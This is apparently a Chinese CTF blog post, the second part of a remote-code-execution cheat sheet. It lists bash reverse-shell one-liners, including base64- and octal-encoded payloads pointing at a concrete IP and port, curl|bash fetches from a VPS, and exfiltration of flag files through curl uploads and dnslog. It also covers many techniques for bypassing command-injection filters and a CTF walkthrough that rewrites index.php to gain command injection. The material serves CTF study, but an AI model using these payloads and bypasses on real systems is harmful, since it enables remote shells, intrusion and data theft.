rce(下)


由于篇幅有点长 字数有限制:(

分两篇发:

Linux命令执行

Linux内的bash有如下的特性:

  • 单引号、双引号、反引号

linux中的单引号相当于原样输出

双引号将变量的值输出

反引号把变量当作命令执行

1
2
3
4
5
6
7
root@VM-8-15-debian:~# name=whoami
root@VM-8-15-debian:~# echo '$name'
$name
root@VM-8-15-debian:~# echo "$name"
whoami
root@VM-8-15-debian:~# echo `$name`
root
  • 分隔指令
1
2
3
4
5
6
7
8
9
10
11
12
利用| || && & &!

cmd1|cmd2 无论cmd1是否为真,都会执行cmd2;同时上一个的输出作为下一个的输入,允许不接受输入的指令放在管道符后
例如 echo xxxx|base64 -d

cmd1||cmd2 cmd1为假时执行cmd2

cmd1&&cmd2 cmd1为真时才执行cmd2

cmd1&cmd2 并发执行,cmd1被挂起

cmd1&!cmd2 与上面类似
1
分号和换行,相当于逐条执行指令
  • 指令的执行
1
2
3
4
5
6
7
8
9
10
11
12
反引号:
执行反引号内执行的结果
例如 `echo 'whoami'`会返回root
仅支持单条指令,不可通过分号,换行执行多条

$():
执行小括号内的结果
例如$(echo 'whoami')会返回root
同上
{}:
执行大括号内的结果
例如{cat,/flag}

反弹shell

1
bash -i >& /dev/tcp/ip/port 0>&1

当然,更加稳定的:

1
bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'

记得开启监听

1
2
wget vps/bash |bash
curl vps/bash|bash

记得开启http服务

nc反弹

1
nc -e /bin/sh ip port

利用ip转int绕过限制

无回显rce

  • 一个反弹shell的payload:
1
2
3
4
echo 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE='|base64 -d|bash

或者
echo 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE='|base64 -d|sh

可以写文件到新的文件并读取、改文件名、移动、压缩、甚至将flag外带、反弹shell等

1
ls>1.txt

或者利用tee

1
ls|tee 1.txt
  • curl

例如flag是以图片形式储存的:

1
2
3
4
5
cat xxx.jpg | base64 > /tmp/xxx
curl -F 'file=@/tmp/xxx' ip:port

vps:
nc -lvvp port >./xxx
  • dnslog外带
1
`cat /flag|base64|sed s/[[:space:]]//`.xxx.dnslog.cn

利用sed将base64拼在dns域名

绕过

  • 预操作
1
2
>cat
* /*

空格:

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$9
<
<>
%09
{dir,/}
\x20
  • 环境变量拼接

ctfshow web 118:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|     指令     | 结果              | 解释                                                 |
| ${PWD} | /var/www/html | 表示当前所在的目录 如果是靶机的话一般是/var/www/html |
| ${#PWD} | 13 | 返回当前目录的字符串长度 |
| ${PWD:~3} | html | 代表从最后开始向前保留3(从0开始) |
| ${PWD:3} | r/www/html | 从第三位开始截取到最后 |
| ${PWD:3:1} | r | 从第三位开始截取长度为1的字符串 |
| ${PWD:~A} | l | 作用同${PWD:~1},此时A相当于1,同理,B相当于2... |
| ${SHLVL:~A} | 1 | 用于返回数字1 |
| ${#SHLVL} | 1 | 用于返回数字1 |
| ${#RANDOM} | 1-5中的随机一个数 | random返回0-32767,#random返回其长度 |
| ${PATH} | n | 一般是指根目录下的bin目录 |
| ${#TERM} | 14 | 返回xterm-256color的长度 |
| ${##RANDOM} | 1 | 返回随机数的长度的长度,只能是1 |
| ${#IFS} | 3 | IFS的长度当然是3 |
| ${#?} | 3 | |
| ${##} | 1 | |
| ${HOME} | /root | |
| $? | 0或1 | 上一条指令执行成功返回0,失败返回1 |
| <A | 报错 | 配合$?返回1 |

指令 结果 解释
${PATH%/*} 我的vps: a(见下文) %删除右边的字符,故%/*删除从右往左数第一个/及其右边的所有字符
${PATH##*/} 我的vps: bin ##删除左边的字符,故##*/代表删除从右往左数第一个及其左边的所有字符
${PATH:0-10} /sbin:/bin 从右往左截取10个长度的字符,相当于${PATH:~9}
${PATH:0-10:5} /sbin 从右往左截取10个字符,并且从截取的10个字符中选取出前5个
${PATH%%n*} /usr/local/sbi %%删除右边的字符,但是%%n*是删除从左到右的第一个n及其之后的字符
${PATH#n*} b* #是删除左边的字符,但是#是删除从左往右第一个n左边的字符

非常重要:由于${PWD}返回的是当前的目录,所以利用cd ..一直返回上级目录即可获取到/

示例:

1
2
3
4
5
$(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;pwd;)


root@VM-8-15-debian:~# $(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;pwd;)
bash: /: Is a directory
1
2
3
cat $(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;echo $(pwd)flag)

相当于 cat /flag

a* : /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:

b*::/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

#%%相对应,是从左往右开始截取第一个遇到的及其之前/之后的字符

%##相对应,是从右往左开始截取第一个及其之后/之前遇到的字符

  • 利用nl:

${PWD:~A}会返回l

${PATH:${~A}}会返回n

此时能组成nl:

${PATH:${~A}}${PWD:~A}${IFS}????.???

nl flag.php

  • 利用base64:

/bin/base64 flag.php

1
2
3
${PWD::${#SHLVL}}会返回 '/'
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} 随机返回4
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.???
  • 利用rev:

/bin/rev flag.php

无长度限制:

1
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}${PWD:${#IFS}:${#SHLVL}}??

有长度限制,将#SHLVL换成##:

1
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}??

利用报错构造1:

${HOME} => /root

1
<A;${HOME::$?}???${HOME::$?}?????${#RANDOM}
  • 利用cp(已知一些可以访问到的文件)

cp source_filename target_filename,将源文件复制到目标文件内,前提是你可以访问到目标文件

1
2
3
cp $(cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;cd ..;echo $(pwd)flag) app.py

这里还能够将;换成其他分隔符,空格换成%09
  • 各种单双引号绕过:
1
2
3
4
ca''t /fl''ag
cat""t /fl""ag
反斜杠承接:
ca\t /fl\ag
  • printf写shell:
  1. 利用00:
1
2
printf 'ca\x00t /etc/pass\x00wd' |bash
printf 'ca\00t /etc/pass\00wd' |bash

并不适用于php,因为php的system会自动检测00

  1. 利用八进制等绕过一些限制

例如NewStarCTF的一道题的payload:

1
2
printf "\142\141\163\150\40\55\151\76\46\57\144\145\166\57\164\143\160\57\61\60\66\56\65\62\56\71\64\56\62\63\57\62\63\63\63\40\60\76\46\61"|s\h
#bash -i>&/dev/tcp/106.52.94.23/2333 0>&1

利用八进制printf格式化输出然后sh反弹shell

  • 通配符

* :匹配全部,同时如果单独输入一个*则会获取ls的结果,然后将结果的第一个字符作为命令,其后作为参数执行

?:匹配单个字符

[a-z0-9]:匹配小写a-z0-9

还能取反[^b-z]g匹配a

例如香山杯2023的一个题的读flag就是more /[b-z]1[Z-b][b-z]

{}:匹配大括号内的字符,例如cat /f{l,s,t}ag会匹配/flag、/fsag、/ftag,也可以在里面写..{a..c}即匹配a-c

  • 编码

最常见的肯定是base64

1
echo Y2F0IC9mbGFn|base64 -d|sh

十六进制:

利用xxd -r -p进行hexdecode:

1
echo "636174202f666c6167" | xxd -r -p|bash

printf配合前面的:

1
2
3
4
$(printf "\x6c\x73") //ls

八进制也是可以的:
`printf "\143\141\164\40\57\52"`

一些读文件的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
more: 一页一页查看

less

head

tac

tail

nl

od: 八进制输出(?)

vi

vim

sort

uniq

file -f: 报错出具体内容

rev: 反向输出

grep: grep { flag 寻找具有某种规则的文件并输出

diff: 比较文件内容

base64

strings

fmt

php

python: 利用python报错输出 //前提当然是有python

cut: cut -f1 /flag

curl file:///flag

iconv /flag

paste /flag

bzmore/bzless
  • Tips:如果将环境变量设置修改为了没有/bin的话,我们要执行命令需要添加/bin,如/bin/cat或者/bin/rev

例如putenv('PATH=/leran/linux/command');

将环境变量修改了,此时我们需要添加/bin

  • 读目录
1
2
3
dir
vdir //相当于 ls -al,但是没有ls -al那样能看到隐藏文件
find
  • nmap写入文件:
1
nmap -oG

上文已经讲过escapeshellarg+escapeshellcmd+nmap的例子了

[nu1l junior] zako

这个题目感觉很有意思!

这边配置一下docker起一个环境给大家看看

这里怎么绕这个request就不再讲述了

这里问题在于中间怎么隐藏了一行东西,这里提示我们要绕一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

//something hide here

$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
die("no, > 70");
}

die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

这里可以直接查看execute.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/bin/bash

reject(){
echo ${1}
exit 1
}

XXXCMD=$1

awk -v str="${XXXCMD}" \
'BEGIN{
deny="`;&$(){}[]!@#$%^&*-";
for(i = 1; i <= length(str); i++){
char = substr(str, i, 1);

for(x = 1; x < length(deny)+1; x++){
r = substr(deny, x, 1);
if(char == r) exit 1;
}
}
}'

[ $? -ne 0 ] && reject "NOT ALLOW 1"

eval_cmd=`echo "${XXXCMD}" | awk -F "|" \
'BEGIN{
allows[1] = "ls";
allows[2] = "makabaka";
allows[3] = "whoareu";
allows[4] = "cut~no";
allows[5] = "grep";
allows[6] = "wc";
allows[7] = "杂鱼❤~杂鱼❤~";
allows[8] = "netstat.jpg";
allows[9] = "awsl";
allows[10] = "dmesg";
allows[11] = "xswl";
}{
num=1;
for(i=1; i<=NF; i++){
for(x=1; x<=length(allows); x++){
cmpstr = substr($i, 1, length(allows[x]));
if(cmpstr == allows[x])
eval_cmd[num++] = $i;
}
}
}END{
for(i=1; i<=length(eval_cmd); i++) {
if(i!=1)
printf "| %s", eval_cmd[i];
else
printf "%s", eval_cmd[i];
}
}'`

[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"


eval ${eval_cmd}

这是一个bash脚本,简单看下吧,再仔细看我也看不懂

  • reject大概就是一个拒绝的意思,说明这样不可以
  • 这里有deny和allow,大概就是对应白名单和黑名单
  • 然后检查一下你传进来的参数是否符合白名单和黑名单的要求,最后再eval执行

这里允许的命令只有:

1
2
ls
grep

禁止的黑名单有:

1
`;&$(){}[]!@#$%^&*-

用ls看文件:

返回

1
execute.sh index.php

当前目录只有这两个东西

ls /返回

1
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

ps: 这边原本是有个readflag的,为了方便我直接用flag了

那接下来的问题就是如何利用lsgrep获取到flag了

grep是可以读文件的

还有两个地方值得注意的:

  • 这个源码缺了一部分,注释也在提示我们something hide here
  • 仔细看system处执行的是将cmd直接拼接,如果利用ls';any cmd就可以造成命令注入rce了

我们如何获得源码呢?

这个时候用grep读文件内容(题目也没限制空格):

1
grep "" index.php

发现die了一下

所以这里有过滤

检查一下,不是grep,不是空格

1
grep "" 

也没有问题,说明问题出现在index.php上

grep "" *有问题,试试问号

1
grep "" ?ndex.php

获得了index.php的真正源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
die("no, > 70");
}

if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

原来这里利用的是highlight_string显示的源码

并且利用grep -v排除了preg_match和highlight这一行

所以导致我们看不出过滤

接下来就是重头戏了

我们这边有符号的双重过滤,能用的只有一个grep,一个ls,那要怎么办呢?

这边如果flag可以读的话,就直接出了:

1
grep "flag" /flag

但是实际题目中flag并不可读,而是需要执行/readflag

还记不记得grep跟cat差不多,而黑名单并没有ban掉>>

唯一能用的地方就只有index.php

如果我们能够将index.php变成这样就好了:

1
2
3
4
5
<?php
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");

此时利用>>就能做到

也就是说,利用grep我们重新将index.php复制到一个新的php去,然后只保留一下部分(因为grep是查找整行):

1
2
3
4
grep "<?php" ?ndex.php >> 1.php
grep "highlight" ?ndex.php >> 1.php
grep "REQUEST" ?ndex.php >> 1.php
grep "system" ?ndex.php >> 1.php

此时1.php就会变成这样:

这样我们的cmd就能够愉快的执行:

1
2
?_[secret.xswl.io=ls';/readflag;'
?_[secret.xswl.io=ls';cat /flag;'